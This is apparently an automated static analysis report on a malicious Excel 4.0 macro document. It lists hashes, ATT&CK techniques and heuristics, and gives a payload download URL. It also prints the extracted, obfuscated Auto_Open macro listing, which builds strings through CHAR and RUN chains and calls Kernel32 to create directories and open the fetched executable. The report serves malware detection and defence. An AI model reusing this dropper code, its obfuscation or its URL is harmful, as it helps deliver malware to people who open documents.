Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f51f375d112235a7…

MALICIOUS

Office (OLE)

71.0 KB Created: 2020-03-16 15:25:56 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 1a138bd8a02714e12f0506cce51ffc54 SHA-1: d76f7dbea5c8ce9261c91e5fda7c6a57126e353a SHA-256: f51f375d112235a7f07b1276c04c6e1825ca4ebb1bafa46c132cc9fad44a2e99
262 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing Excel 4.0 macros, specifically an Auto_Open macro that is triggered when the document is opened. The document body contains a lure to enable content, which is a common tactic for macro-based malware. The macro uses dangerous functions like RUN and URLDownloadToFile to download and execute a payload from the URL http://fibare.com/c7w42cgsw16nnmb27ou5/esuvf.exe~.

Heuristics 7

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fibare.com/c7w42cgsw16nnmb27ou5/esuvf.exe~ In document text (OLE body)
    • http://fibare.com/c7w42cgsw16In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 28707 bytes
SHA-256: a1bd6b1f6e025b85c0ae193fd927effbab21b69d54554ef13183a5c6256f94af
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SODXNES
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!IJ1966 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SODXNES,HL6,CHAR(DB146-94),""
'  SODXNES,DJ14,"",373.00000000000000000000
'  SODXNES,P21,"",18.00000000000000000000
'  SODXNES,DL25,"",15.00000000000000000000
'  SODXNES,IU33,RUN(EN942),""
'  SODXNES,GQ35,RUN(CW441),""
'  SODXNES,BQ39,"",362.00000000000000000000
'  SODXNES,GN42,"",841.00000000000000000000
'  SODXNES,CX43,"",44.00000000000000000000
'  SODXNES,EO46,CONCATENATE(IQ1908),""
'  SODXNES,R50,CHAR(HX1006-315),""
'  SODXNES,R51,RUN(BQ860),""
'  SODXNES,HI51,RUN(GW1117),""
'  SODXNES,CH60,HC1414,""
'  SODXNES,FV62,"",54.00000000000000000000
'  SODXNES,HS63,CHAR(BJ76-315),""
'  SODXNES,HS64,RUN(JH772),""
'  SODXNES,BN69,CHAR(HZ1728-94),""
'  SODXNES,EW69,"",27.00000000000000000000
'  SODXNES,CE72,RUN(GM1810),""
'  SODXNES,JA72,RUN(HY1016),""
'  SODXNES,JK74,CHAR(II1315-94),""
'  SODXNES,BJ76,"",362.00000000000000000000
'  SODXNES,DY83,"",57.00000000000000000000
'  SODXNES,BC84,"",425.00000000000000000000
'  SODXNES,CW85,"",30.00000000000000000000
'  SODXNES,FI86,"",67.00000000000000000000
'  SODXNES,BA91,"",81.00000000000000000000
'  SODXNES,CK93,RUN(DL1542),""
'  SODXNES,IE95,"",67.00000000000000000000
'  SODXNES,DL100,"",48.00000000000000000000
'  SODXNES,G103,"",416.00000000000000000000
'  SODXNES,EM105,"",54.00000000000000000000
'  SODXNES,ER109,"",432.00000000000000000000
'  SODXNES,BE115,"",379.00000000000000000000
'  SODXNES,Q116,RUN(FK632),""
'  SODXNES,GY120,"",20.00000000000000000000
'  SODXNES,DP125,"",424.00000000000000000000
'  SODXNES,CN131,CHAR(EP146-94),""
'  SODXNES,BX133,"",32.00000000000000000000
'  SODXNES,EE137,CHAR(FL1554-315),""
'  SODXNES,EE138,RUN(CR1793),""
'  SODXNES,BL142,"",41.00000000000000000000
'  SODXNES,DB146,"",202.00000000000000000000
'  SODXNES,EP146,"",152.00000000000000000000
'  SODXNES,IJ148,"",36.00000000000000000000
'  SODXNES,Y149,"",98.00000000000000000000
'  SODXNES,CJ155,"",431.00000000000000000000
'  SODXNES,HI156,"",68.00000000000000000000
'  SODXNES,HW157,RUN(GJ904),""
'  SODXNES,EI159,"",365.00000000000000000000
'  SODXNES,CT160,RUN(G1322),""
'  SODXNES,EP164,CHAR(DT1069-94),""
'  SODXNES,HS166,CHAR(GA894-315),""
'  SODXNES,HS167,RUN(FE689),""
'  SODXNES,JG167,"",93.00000000000000000000
'  SODXNES,FF168,RUN(CE72),""
'  SODXNES,EE170,CHAR(CZ350-315),""
'  SODXNES,EE171,RUN(IN1744),""
'  SODXNES,EX174,RUN(EH892),""
'  SODXNES,GA174,RUN(EI706),""
'  SODXNES,IL176,"",846.00000000000000000000
'  SODXNES,EE179,"",73.00000000000000000000
'  SODXNES,HJ181,"",39.00000000000000000000
'  SODXNES,GZ183,"",72.00000000000000000000
'  SODXNES,GU187,"",12.00000000000000000000
'  SODXNES,GI189,"",83.00000000000000000000
'  SODXNES,FK191,"",84.00000000000000000000
'  SODXNES,DE195,CHAR(FC1292-282),""
'  SODXNES,GR196,"",186.00000000000000000000
'  SODXNES,EG198,"",80.00000000000000000000
'  SODXNES,EQ204,RUN(IF369),""
'  SODXNES,CK205,RUN(EZ1608),""
'  SODXNES,FY205,CHAR(F1954-315),""
'  SODXNES,FY206,RUN(IH1028),""
'  SODXNES,GE211,RUN(JD870),""
'  SODXNES,DU216,RUN(EW557),""
'  SODXNES,GA223,RUN(EH1225),""
'  SODXNES,JC225,"",50.00000000000000000000
'  SODXNES,JI227,"",56.00000000000000000000
'  SODXNES,DX240,CHAR(DB266-315),""
'  SODXNES,DX241,RUN(DB1166),""
'  SODXNES,HD241,RUN(GA223),""
'  SODXNES,JL242,RUN(X1690),""
'  SODXNES,HJ247,"",64.00000000000000000000
'  SODXNES,GQ251,"",840.00000000000000000000
'  SODXNES,GF253,CHAR(BO517-315),""
'  SODXNES,GF254,RUN(FY1533),""
'  SODXNES,IN263,"",195.00000000000000000000
'  SODXNES,DB266,"",413.00000000000000000000
'  SODXNES,EJ267,RUN(DB1687),""
'  SODXNES,FJ269,RUN(JJ1672),""
'  SODXNES,BF271,"",1.00000000000000000000
'  SODXNES,JI272,"",56.00000000000000000000
'  SODXNES,FP275,CHAR(S456-282),""
'  SODXNES,HH276,CHAR(Z1857-315),""
'  SODXNES,HH277,RUN(FY205),""
'  SODXNES,EC281,"",82.00000000000000000000
'  SODXNES,EK284,"",71.00000000000000000000
'  SODXNES,BL286,"",76.00000000000000000000
'  SODXNES,CA292,CHAR(JA1361-282),""
'  SODXNES,FF297,"",12.00000000000000000000
'  SODXNES,FW297,RUN(IJ1966),""
'  SODXNES,DD300,RUN(GA174),""
'  SODXNES,GV300,RUN(DR1433),""
'  SODXNES,FV301,RUN(BC1322),""
'  SODXNES,S319,CHAR(IX1912-282),""
'  SODXNES,M331,"",171.00000000000000000000
'  SODXNES,HI335,RUN(CQ456),""
'  SODXNES,HV336,"",847.00000000000000000000
'  SODXNES,EL338,"",25.00000000000000000000
'  SODXNES,HJ338,CHAR(BX1332-764),""
'  SODXNES,IL342,CHAR(ET924-282),""
'  SODXNES,BS344,RUN(FU587),""
'  SODXNES,CZ350,"",370.00000000000000000000
'  SODXNES,DD352,"",76.00000000000000000000
'  SODXNES,CK354,RUN(DC999),""
'  SODXNES,D355,CHAR(CQ605-282),""
'  SODXNES,BP355,CHAR(CF1377-315),""
'  SODXNES,BP356,RUN(CB480),""
'  SODXNES,BS361,RUN(EM1634),""
'  SODXNES,IB361,"",424.00000000000000000000
'  SODXNES,IF369,RUN(ED1052),""
'  SODXNES,CV370,"",82.00000000000000000000
'  SODXNES,BL373,"",401.00000000000000000000
'  SODXNES,GL373,"",69.00000000000000000000
'  SODXNES,E382,"",0.00000000000000000000
'  SODXNES,M385,CHAR(BO587-315),""
'  SODXNES,HF385,"",92.00000000000000000000
'  SODXNES,M386,RUN(HN558),""
'  SODXNES,CF387,"",24.00000000000000000000
'  SODXNES,BR392,"",67.00000000000000000000
'  SODXNES,HC392,"",425.00000000000000000000
'  SODXNES,FH393,RUN(CK354),""
'  SODXNES,JO393,CHAR(IZ1924-315),""
'  SODXNES,JO394,RUN(BS1795),""
'  SODXNES,HW395,"",15.00000000000000000000
'  SODXNES,FU398,"",393.00000000000000000000
'  SODXNES,GU402,"CONCATENATE(BL1314,EG1554)",""
'  SODXNES,DJ419,"",25.00000000000000000000
'  SODXNES,JK426,CHAR(HU1071-282),""
'  SODXNES,CA430,"",843.00000000000000000000
'  SODXNES,B439,"",58.00000000000000000000
'  SODXNES,GW440,"",426.00000000000000000000
'  SODXNES,CW441,RUN(GV300),""
'  SODXNES,Q442,CHAR(DP125-315),""
'  SODXNES,Q443,RUN(GJ1153),""
'  SODXNES,CT446,"",182.00000000000000000000
'  SODXNES,F449,CHAR(DR1321-282),""
'  SODXNES,JC451,CHAR(ED1726-315),""
'  SODXNES,JC452,RUN(GQ1281),""
'  SODXNES,S456,"",382.00000000000000000000
'  SODXNES,CQ456,RUN(CV1504),""
'  SODXNES,BS463,"",814.00000000000000000000
'  SODXNES,C465,"",58.00000000000000000000
'  SODXNES,BY471,CHAR(FR1366-282),""
'  SODXNES,DY471,"",90.00000000000000000000
'  SODXNES,S477,RUN(JF600),""
'  SODXNES,GA477,"",140.00000000000000000000
'  SODXNES,CB480,CHAR(FT1599-315),""
'  SODXNES,CB481,RUN(BZ862),""
'  SODXNES,BK482,"",78.00000000000000000000
'  SODXNES,FR484,"",91.00000000000000000000
'  SODXNES,EN485,"",164.00000000000000000000
'  SODXNES,HQ486,"",73.00000000000000000000
'  SODXNES,CR489,RUN(HD241),""
'  SODXNES,CC491,"",28.00000000000000000000
'  SODXNES,IP494,CHAR(EG1291-282),""
'  SODXNES,JH494,CHAR(FS850-94),""
'  SODXNES,HR499,RUN(BS344),""
'  SODXNES,GE507,"",41.00000000000000000000
'  SODXNES,GL507,"",868.00000000000000000000
'  SODXNES,ED515,"",12.00000000000000000000
'  SODXNES,BO517,"",414.00000000000000000000
'  SODXNES,GU518,"",73.00000000000000000000
'  SODXNES,CQ520,"",162.00000000000000000000
'  SODXNES,EJ521,CHAR(Y1823-94),""
'  SODXNES,CG526,CHAR(DU545-282),""
'  SODXNES,B535,"",68.00000000000000000000
'  SODXNES,BF535,"",24.00000000000000000000
'  SODXNES,GU537,"",416.00000000000000000000
'  SODXNES,CU539,"",86.00000000000000000000
'  SODXNES,DU545,"",386.00000000000000000000
'  SODXNES,GG552,RUN(EN598),""
'  SODXNES,FJ554,"",390.00000000000000000000
'  SODXNES,EW557,RUN(HI335),""
'  SODXNES,HN558,CHAR(FW1081-315),""
'  SODXNES,HN559,RUN(JH1778),""
'  SODXNES,FA561,"",1.00000000000000000000
'  SODXNES,BG565,"",366.00000000000000000000
'  SODXNES,HI565,"",96.00000000000000000000
'  SODXNES,R579,"",97.00000000000000000000
'  SODXNES,IH579,"",25.00000000000000000000
'  SODXNES,CD582,"",42.00000000000000000000
'  SODXNES,EJ583,"",84.00000000000000000000
'  SODXNES,FH583,"",419.00000000000000000000
'  SODXNES,Q585,"",65.00000000000000000000
'  SODXNES,Q587,"",84.00000000000000000000
'  SODXNES,BO587,"",434.00000000000000000000
'  SODXNES,FU587,RUN(P1497),""
'  SODXNES,CP588,"",71.00000000000000000000
'  SODXNES,HT591,CHAR(BS463-764),""
'  SODXNES,BV592,"",90.00000000000000000000
'  SODXNES,EF596,"",427.00000000000000000000
'  SODXNES,EN598,RUN(IW1943),""
'  SODXNES,JA599,RUN(F1302),""
'  SODXNES,JF600,RUN(CH1822),""
'  SODXNES,V605,"",59.00000000000000000000
'  SODXNES,CQ605,"",365.00000000000000000000
'  SODXNES,CC606,RUN(X757),""
'  SODXNES,BM609,"",4.00000000000000000000
'  SODXNES,JI609,"",47.00000000000000000000
'  SODXNES,IC619,RUN(GG552),""
'  SODXNES,H623,CHAR(FY1429-94),""
'  SODXNES,CP625,"",15.00000000000000000000
'  SODXNES,BP627,"",51.00000000000000000000
'  SODXNES,BD629,"",163.00000000000000000000
'  SODXNES,FK632,RUN(GI1159),""
'  SODXNES,CE633,"",9.00000000000000000000
'  SODXNES,GC633,"",21.00000000000000000000
'  SODXNES,EA642,CHAR(GN42-764),""
'  SODXNES,HG648,RUN(GQ35),""
'  SODXNES,CQ654,CHAR(CA430-764),""
'  SODXNES,HH655,"",174.00000000000000000000
'  SODXNES,GA665,"",97.00000000000000000000
'  SODXNES,HS666,CHAR(CT446-94),""
'  SODXNES,BY675,CHAR(M331-94),""
'  SODXNES,CY678,"",393.00000000000000000000
'  SODXNES,CC679,"",61.00000000000000000000
'  SODXNES,FE689,CHAR(ER109-315),""
'  SODXNES,FE690,RUN(EE137),""
'  SODXNES,R694,"",70.00000000000000000000
'  SODXNES,BK695,CHAR(DB1968-282),""
'  SODXNES,DP696,"",61.00000000000000000000
'  SODXNES,EI706,RUN(BO1140),""
'  SODXNES,FB711,RUN(GD1445),""
'  SODXNES,JC727,CHAR(CA1198-764),""
'  SODXNES,CU745,RUN(CT160),""
'  SODXNES,DL749,RUN(O1331),""
'  SODXNES,FB750,CONCATENATE(DN1448),""
'  SODXNES,HF750,"",352.00000000000000000000
'  SODXNES,IM750,"",91.00000000000000000000
'  SODXNES,DS751,CHAR(EX1772-282),""
'  SODXNES,IC752,"",20.00000000000000000000
'  SODXNES,X757,RUN(HI51),""
'  SODXNES,FI757,"",78.00000000000000000000
'  SODXNES,JF761,"",19.00000000000000000000
'  SODXNES,FX762,CHAR(ID845-94),""
'  SODXNES,IB766,"",67.00000000000000000000
'  SODXNES,JH772,CHAR(IR1658-315),""
'  SODXNES,JH773,RUN(GZ1729),""
'  SODXNES,DJ775,"",9.00000000000000000000
'  SODXNES,FC778,CHAR(D1366-764),""
'  SODXNES,T787,"",39.00000000000000000000
'  SODXNES,BY790,CHAR(GU1769-315),""
'  SODXNES,BY791,RUN(HS166),""
'  SODXNES,HB794,"",6.00000000000000000000
'  SODXNES,FB808,"",57.00000000000000000000
'  SODXNES,HS809,RUN(CY1439),""
'  SODXNES,BW813,"",77.00000000000000000000
'  SODXNES,GS820,"",81.00000000000000000000
'  SODXNES,X827,"",2.00000000000000000000
'  SODXNES,ID845,"",162.00000000000000000000
'  SODXNES,IQ847,"",417.00000000000000000000
'  SODXNES,IU848,"",96.00000000000000000000
'  SODXNES,FS850,"",214.00000000000000000000
'  SODXNES,E851,"",398.00000000000000000000
'  SODXNES,IT855,"",184.00000000000000000000
'  SODXNES,BQ860,CHAR(JI1367-315),""
'  SODXNES,BQ861,RUN(HO1576),""
'  SODXNES,IR861,"",81.00000000000000000000
'  SODXNES,BZ862,CHAR(GM1482-315),""
'  SODXNES,BZ863,RUN(JO393),""
'  SODXNES,JD870,RUN(DZ1376),""
'  SODXNES,BG871,"",392.00000000000000000000
'  SODXNES,JA871,CHAR(EP1904-94),""
'  SODXNES,DS872,CHAR(BG871-282),""
'  SODXNES,V885,CHAR(IY1179-94),""
'  SODXNES,IC888,"",67.00000000000000000000
'  SODXNES,EH892,RUN(EJ267),""
'  SODXNES,GA894,"",426.00000000000000000000
'  SODXNES,DV900,RUN(GE211),""
'  SODXNES,EN901,CHAR(BC84-315),""
'  SODXNES,CU902,"",24.00000000000000000000
'  SODXNES,EN902,RUN(BV1331),""
'  SODXNES,GJ904,RUN(HF1649),""
'  SODXNES,IM912,"",25.00000000000000000000
'  SODXNES,EV913,"",27.00000000000000000000
'  SODXNES,CK916,CHAR(GA477-94),""
'  SODXNES,EM917,"",66.00000000000000000000
'  SODXNES,K918,"",167.00000000000000000000
'  SODXNES,M924,"",196.00000000000000000000
'  SODXNES,ET924,"",390.00000000000000000000
'  SODXNES,GT933,RUN(DL749),""
'  SODXNES,BX934,"",70.00000000000000000000
'  SODXNES,DG938,"CONCATENATE(V1983,GH1937,R1887,HP1905,IM1673,HS63,JH772,GZ1729,BP355,CB480,BZ862,JO393,BS1795,EP1236,GF253,FY1533,Q442,GJ1153,CX1783,EE170,IN1744,HH276,FY205,IH1028,IE1081,GR1245,M385,HN558,JH1778)",""
'  SODXNES,L940,CHAR(DM1804-764),""
'  SODXNES,EN942,RUN(FH1510),""
'  SODXNES,GF942,RUN(GP1571),""
'  SODXNES,JK946,"",24.00000000000000000000
'  SODXNES,FF952,"",77.00000000000000000000
'  SODXNES,GS955,CHAR(BD629-94),""
'  SODXNES,HE957,"",22.00000000000000000000
'  SODXNES,HC962,"",82.00000000000000000000
'  SODXNES,EN964,"",53.00000000000000000000
'  SODXNES,DD965,RUN(CG1504),""
'  SODXNES,JN970,CHAR(BG565-282),""
'  SODXNES,EF971,RUN(GH1727),""
'  SODXNES,DP972,"",38.00000000000000000000
'  SODXNES,CE974,CHAR(GL507-764),""
'  SODXNES,IM975,CHAR(BF1313-282),""
'  SODXNES,FY977,CHAR(DZ1957-94),""
'  SODXNES,M981,"",57.00000000000000000000
'  SODXNES,HF982,"",96.00000000000000000000
'  SODXNES,DC999,RUN(JA72),""
'  SODXNES,CS1000,"",418.00000000000000000000
'  SODXNES,CV1000,"",43.00000000000000000000
'  SODXNES,HX1006,"",430.00000000000000000000
'  SODXNES,HY1016,RUN(CR489),""
'  SODXNES,FE1023,RUN(IC619),""
'  SODXNES,DV1024,CONCATENATE(IX1938),""
'  SODXNES,IH1028,CHAR(IA1044-315),""
'  SODXNES,IH1029,RUN(IE1081),""
'  SODXNES,N1032,"",36.00000000000000000000
'  SODXNES,V1033,"",430.00000000000000000000
'  SODXNES,DI1034,RUN(IZ1570),""
'  SODXNES,JN1034,"",26.00000000000000000000
'  SODXNES,IP1039,RUN(GT933),""
'  SODXNES,IA1044,"",414.00000000000000000000
'  SODXNES,CP1049,"",79.00000000000000000000
'  SODXNES,IT1051,RUN(IZ1206),""
'  SODXNES,ED1052,RUN(EW1156),""
'  SODXNES,HW1055,"",19.00000000000000000000
'  SODXNES,IF1062,RUN(GI1116),""
'  SODXNES,D1063,"",57.00000000000000000000
'  SODXNES,BA1063,CHAR(EI1436-94),""
'  SODXNES,DT1069,"",208.00000000000000000000
'  SODXNES,HU1071,"",383.00000000000000000000
'  SODXNES,FC1078,CHAR(GR196-94),""
'  SODXNES,DG1079,"",30.00000000000000000000
'  SODXNES,FW1081,"",364.00000000000000000000
'  SODXNES,IE1081,CHAR(CS1000-315),""
'  SODXNES,IE1082,RUN(GR1245),""
'  SODXNES,CM1087,"",68.00000000000000000000
'  SODXNES,FN1087,"",364.00000000000000000000
'  SODXNES,DB1091,CHAR(DW1671-315),""
'  SODXNES,DB1092,RUN(DV1968),""
'  SODXNES,EB1094,"",10.00000000000000000000
'  SODXNES,CX1100,RUN(FF168),""
'  SODXNES,GC1105,"",71.00000000000000000000
'  SODXNES,DH1116,RUN(CA1355),""
'  SODXNES,GI1116,RUN(CK93),""
'  SODXNES,GW1117,RUN(BV1814),""
'  SODXNES,IO1120,"",48.00000000000000000000
'  SODXNES,ID1126,"",61.00000000000000000000
'  SODXNES,IN1126,CHAR(IO1842-282),""
'  SODXNES,GE1131,RUN(GV1147),""
'  SODXNES,HH1131,"",165.00000000000000000000
'  SODXNES,CR1133,"",54.00000000000000000000
'  SODXNES,BO1140,RUN(DS1990),""
'  SODXNES,GV1147,RUN(BJ1248),""
'  SODXNES,ER1148,RUN(BL1769),""
'  SODXNES,IG1148,"",86.00000000000000000000
'  SODXNES,ED1149,"",34.00000000000000000000
'  SODXNES,GJ1153,CHAR(BQ39-315),""
'  SODXNES,GJ1154,RUN(CX1783),""
'  SODXNES,EW1156,RUN(BW1973),""
'  SODXNES,GI1159,RUN(CK205),""
'  SODXNES,CM1160,"",40.00000000000000000000
'  SODXNES,HR1162,"",416.00000000000000000000
'  SODXNES,DB1166,CHAR(EI159-315),""
'  SODXNES,DB1167,RUN(BY790),""
'  SODXNES,BS1177,CHAR(DH1691-764),""
'  SODXNES,BI1179,"",369.00000000000000000000
'  SODXNES,IY1179,"",214.00000000000000000000
'  SODXNES,V1193,"",36.00000000000000000000
'  SODXNES,CA1198,"",842.00000000000000000000
'  SODXNES,IT1200,"",49.00000000000000000000
'  SODXNES,GZ1202,"",79.00000000000000000000
'  SODXNES,IZ1206,RUN(IF1062),""
'  SODXNES,DC1207,"",52.00000000000000000000
'  SODXNES,CG1221,RUN(S1798),""
'  SODXNES,DS1225,"CONCATENATE(HI1518,EN901,BV1331,DX240,DB1166,BY790,HS166,FE689,EE137,CR1793,HF1332,R50,BQ860,HO1576,IV1548,DB1091,DV1968,JC451,GQ1281)",""
'  SODXNES,EH1225,RUN(FR1498),""
'  SODXNES,BS1226,"",11.00000000000000000000
'  SODXNES,JK1230,"",55.00000000000000000000
'  SODXNES,CH1233,"",83.00000000000000000000
'  SODXNES,EP1236,CHAR(BT1325-315),""
'  SODXNES,EP1237,RUN(GF253),""
'  SODXNES,EL1238,"",64.00000000000000000000
'  SODXNES,B1239,RUN(E1825),""
'  SODXNES,GR1245,CHAR(V1033-315),""
'  SODXNES,EV1246,"",15.00000000000000000000
'  SODXNES,GR1246,RUN(M385),""
'  SODXNES,BJ1248,RUN(DE1602),""
'  SODXNES,EO1249,CHAR(BY1591-94),""
'  SODXNES,IT1251,"",347.00000000000000000000
'  SODXNES,EL1259,"",79.00000000000000000000
'  SODXNES,CM1265,"",37.00000000000000000000
'  SODXNES,IK1271,"",98.00000000000000000000
'  SODXNES,GQ1281,RUN(B1295),""
'  SODXNES,GQ1282,RUN(BW72),""
'  SODXNES,O1288,"",55.00000000000000000000
'  SODXNES,DY1291,CHAR(FU398-282),""
'  SODXNES,EG1291,"",383.00000000000000000000
'  SODXNES,GK1291,RUN(BH1326),""
'  SODXNES,FC1292,"",399.00000000000000000000
'  SODXNES,GM1292,"",28.00000000000000000000
'  SODXNES,B1293,"CALL("Kernel32","CreateDirectoryA","JCJ","C:\rMRZPuE",0)",""
'  SODXNES,B1294,RUN(V1983),""
'  SODXNES,BH1294,"",433.00000000000000000000
'  SODXNES,B1295,"CALL("Kernel32","CreateDirectoryA","JCJ","C:\rMRZPuE\FDIflsX",0)",""
'  SODXNES,B1296,"CALL(FB750,EO46,"JJCCJJ",0,CH60,GU402,0,0)",""
'  SODXNES,B1297,"CALL(DV1024,EM1501,"JJCCCCJ",0,"Open",GU402,,0,0)",""
'  SODXNES,B1298,HALT(),""
'  SODXNES,HR1299,"",49.00000000000000000000
'  SODXNES,F1302,RUN(IT1354),""
'  SODXNES,ET1306,"",54.00000000000000000000
'  SODXNES,K1307,"",11.00000000000000000000
'  SODXNES,EG1312,"",93.00000000000000000000
'  SODXNES,BF1313,"",381.00000000000000000000
'  SODXNES,BL1314,"CONCATENATE(BA1063,CN131,FC1078,EP164,BY675,FY977,EA1612,BN1376,FV1706,GS955,EO1249,JJ1327,FS1653,IX1753,IO1406,HL6,BT1339,HS666,BN69,H623,JB1359,EJ521,FX762,JM1642,JH494,JK74,CK916,O1713,V885)",""
'  SODXNES,IC1315,RUN(DD1798),""
'  SODXNES,II1315,"",181.00000000000000000000
'  SODXNES,FV1317,"",17.00000000000000000000
'  SODXNES,DR1321,"",402.00000000000000000000
'  SODXNES,G1322,RUN(GF942),""
'  SODXNES,BC1322,RUN(S477),""
'  SODXNES,BT1325,"",361.00000000000000000000
'  SODXNES,GX1325,"",91.00000000000000000000
'  SODXNES,BH1326,RUN(DH1116),""
'  SODXNES,JE1327,RUN(HS809),""
'  SODXNES,JJ1327,CHAR(EN485-94),""
'  SODXNES,IH1329,"",200.00000000000000000000
'  SODXNES,EG1330,"",387.00000000000000000000
'  SODXNES,O1331,RUN(JL242),""
'  SODXNES,BV1331,CHAR(IB361-315),""
'  SODXNES,BV1332,RUN(DX240),""
'  SODXNES,BX1332,"",865.00000000000000000000
'  SODXNES,HF1332,CHAR(H1922-315),""
'  SODXNES,HF1333,RUN(R50),""
'  SODXNES,DL1334,"",64.00000000000000000000
'  SODXNES,FN1337,"",8.00000000000000000000
'  SODXNES,BT1339,CHAR(Q1698-94),""
'  SODXNES,IO1344,CHAR(BE115-282),""
'  SODXNES,IT1354,RUN(IT1051),""
'  SODXNES,CA1355,RUN(IP1039),""
'  SODXNES,GT1358,RUN(B1293),""
'  SODXNES,JB1359,CHAR(IH1329-94),""
'  SODXNES,JA1361,"",390.00000000000000000000
'  SODXNES,DO1363,"",98.00000000000000000000
'  SODXNES,HA1364,CHAR(IL176-764),""
'  SODXNES,D1366,"",815.00000000000000000000
'  SODXNES,FR1366,"",383.00000000000000000000
'  SODXNES,JI1367,"",432.00000000000000000000
'  SODXNES,DZ1374,"",16.00000000000000000000
'  SODXNES,BN1376,CHAR(HH655-94),""
'  SODXNES,DZ1376,RUN(GX1439),""
'  SODXNES,CF1377,"",420.00000000000000000000
'  SODXNES,Z1378,"",95.00000000000000000000
'  SODXNES,CR1383,"",21.00000000000000000000
'  SODXNES,FT1385,RUN(IU33),""
'  SODXNES,CO1390,"",74.00000000000000000000
'  SODXNES,DP1393,"",51.00000000000000000000
'  SODXNES,GN1398,"",73.00000000000000000000
'  SODXNES,HL1400,"",80.00000000000000000000
'  SODXNES,IO1406,CHAR(M924-94),""
'  SODXNES,HL1412,RUN(FY1702),""
'  SODXNES,HC1414,"CONCATENATE(DG938,DS1225)",""
'  SODXNES,DE1415,"",87.00000000000000000000
'  SODXNES,FP1415,"",96.00000000000000000000
'  SODXNES,BD1417,"",22.00000000000000000000
'  SODXNES,FO1420,"",5.00000000000000000000
'  SODXNES,HS1427,"",43.00000000000000000000
'  SODXNES,IP1428,"",351.00000000000000000000
'  SODXNES,FY1429,"",201.00000000000000000000
'  SODXNES,L1430,"",2.00000000000000000000
'  SODXNES,EN1430,CHAR(CY678-282),""
'  SODXNES,DR1433,RUN(FT1385),""
'  SODXNES,EI1436,"",161.00000000000000000000
'  SODXNES,CY1439,RUN(HW157),""
'  SODXNES,EJ1439,CHAR(CL1877-282),""
'  SODXNES,GX1439,RUN(CU745),""
'  SODXNES,BF1442,"",23.00000000000000000000
'  SODXNES,GD1445,RUN(FH393),""
'  SODXNES,DN1448,"CONCATENATE(IM1549,HA1364,F1712,EA642,CQ654,JC727)",""
'  SODXNES,EL1461,CHAR(BL373-282),""
'  SODXNES,IF1461,RUN(CX1100),""
'  SODXNES,HV1478,RUN(JE1327),""
'  SODXNES,GM1482,"",412.00000000000000000000
'  SODXNES,HX1487,"",5.00000000000000000000
'  SODXNES,P1497,RUN(EW1527),""
'  SODXNES,FR1498,RUN(BJ1760),""
'  SODXNES,IG1498,"",362.00000000000000000000
'  SODXNES,EM1501,CONCATENATE(CL1700),""
'  SODXNES,CG1504,RUN(JA599),""
'  SODXNES,CV1504,RUN(BS361),""
'  SODXNES,FU1504,"",35.00000000000000000000
'  SODXNES,FH1510,RUN(ER1978),""
'  SODXNES,HI1518,CHAR(HC392-315),""
'  SODXNES,HI1519,RUN(EN901),""
'  SODXNES,DT1524,"",41.00000000000000000000
'  SODXNES,EW1527,RUN(CC606),""
'  SODXNES,FY1533,CHAR(GW440-315),""
'  SODXNES,FY1534,RUN(Q442),""
'  SODXNES,GT1536,"",431.00000000000000000000
'  SODXNES,DL1542,RUN(HT1895),""
'  SODXNES,JG1542,"",87.00000000000000000000
'  SODXNES,CM1546,"",61.00000000000000000000
'  SODXNES,IV1548,CHAR(IQ847-315),""
'  SODXNES,IM1549,CHAR(FY1902-764),""
'  SODXNES,IV1549,RUN(DB1091),""
'  SODXNES,U1554,"",56.00000000000000000000
